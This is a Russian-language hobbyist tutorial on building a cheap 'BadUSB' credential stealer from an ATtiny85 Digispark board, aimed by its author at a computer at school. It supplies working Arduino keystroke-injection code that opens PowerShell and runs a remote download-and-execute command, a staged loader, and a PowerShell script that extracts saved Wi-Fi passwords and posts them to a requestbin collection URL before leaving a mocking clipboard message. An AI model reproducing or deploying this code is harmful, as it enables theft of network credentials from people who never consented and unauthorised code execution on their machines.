USB стиллер своими рукам

06.11.2017

Сегодня разберем создание стиллера на attiny85. Штучка довольно дешевая, и если немного поиграться с ней - можно сэкономить себе примерно 50 долларов, для сравнения с тем же функционалом на RUBBER DUCKY

Разница в ценах конечно заметна:

Начинаем с установки нужных приложений на наш PC.

Устанавливаем дрова. 

Скачали, поставили.

Первое, что нам нужно - Arduino ide (первая кнопка там Windows Installer). Скачали, установили.

Дальше заходим в "Файл - Настойки"

Там видим такую тему:я

Вставляем туда ссыль: http://digistump.com/package_digistump_index.json

Далее топаем в "Менеджер плат"

Туда вставляем это: Digistump AVR Boards, жмем More info и жмем "Install" (на скрине уже установлено). Дожидаемся конца установки.

Далее снова топаем в Настройки, находим там пункт "Другие настройки можно редактировать непосредственно в файле" и жмем по пути. В открывшийся путь дописываем "\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard". Находим там файл DigiKeyboard.h и открываем его блокнотом.

Дописываем туда, где коды клавиш это:

#define KEY_ENTER 40

#define KEY_SPACE 44

#define KEY_SINGLEQ 49

#define KEY_COLON 55

#define KEY_HYPHEN 56

#define KEY_DELETE 76

Сейвим, закрываем.

В самой ардуине снова находим платы, и выбираем там Digispark (Default – 16.6 mhz).

Считайте, что программу мы настроили.

Подключаем возможность пиздить пароли от Wi-Fi с компьютера.

Ориентировано под Windows офк, т.к. целью является ПК на учебе.

Идем на реквестбин. Делаем новую "корзинку".

Копируем ее ссылку (не из адресной строки с ?inspect, а ту, что будет посередине экрана). Копируем желательно в блокнот, ибо потеряется.

Идем на pastebin. ОБЯЗАТЕЛЬНО регаемся (через что угодно, хоть гугл).

Делаем новую пасту

И вставляем туда код:

$wifi_ru=(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
$wifi_en=(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "key\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
$url="https://requestb.in/zz0nzqzz"
$wifi_ru
$wifi_ru | Out-File tmp.txt
$data=Get-Content .\tmp.txt
$data
Invoke-RestMethod -Method Post -Uri $url -Body $data
Remove-Item -Path shellcode.txt
Set-Clipboard -Value "Your computer was fucked up!"
clear
exit

Вставили? Сохраняйте. Сохранили? Молодцы. Тыкаем вот сюда

И копируем ссылку на то, что открылось. Ее тоже в блокнот.

Дальше делаем вторую пасту. В нее пишем это:

$source = "ВАША ССЫЛКА НА ПАСТУ"
$destination = "shellcode.txt"
$web = New-Object System.Net.WebClient
$web.DownloadFile($source, $destination)
$file = Get-Content -Path $destination -Encoding UTF8
Set-Clipboard -Value $file

Надеюсь то, что вместо ВАША ССЫЛКА НА ПАСТУ вы вставили ту ссылку, которая в блокноте вторая, да?

В этой пасте тоже нужно нажать на RAW, и ссылка в блокнот скопировать.

Так, вроде как все. Дальше открываем ардуино, и копируем туда код:

#include "DigiKeyboard.h"

void setup() {
DigiKeyboard.update();
}

void loop() {
delay(1000);
DigiKeyboard.update();
delay(100);

// meta+r, delete content, start powershell
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
delay(100);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
delay(50);
DigiKeyboard.println("powershell");
delay(200);
DigiKeyboard.println("iex (New-Object Net.WebClient).DownloadString(\"ССЫЛКА НА ВТОРУЮ ПАСТУ\")");
delay(3000);
DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT);
delay(50);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(900000);
}

Да, вместо ССЫЛКА НА ВТОРУЮ ПАСТУ пишем сслыку на последнюю созданную пасту.

Seems like это все. Нажимаем сюда вот

и следим за консолью внизу. Как появится надпись со скрина ниже - пихаем attiny85 в порт USB.

Если вылезло это - молодцы, все сделали верно. Если нет - попробуйте еще раз.

P.S. Вставляя в ПК эту штуку, чекайте расскладку клавиатуры. Работает на английской только, думаю тут ясно. А все пароли от ВиФи будут отправляться на ту реквестбин, которую вы сделали. Открываете главную страницу реквестбин, и там будут справа ваши корзинки. Тыкаете на нужную и юзаете. Ну либо берете ссыль из блокнота, и добавляете в ее конец.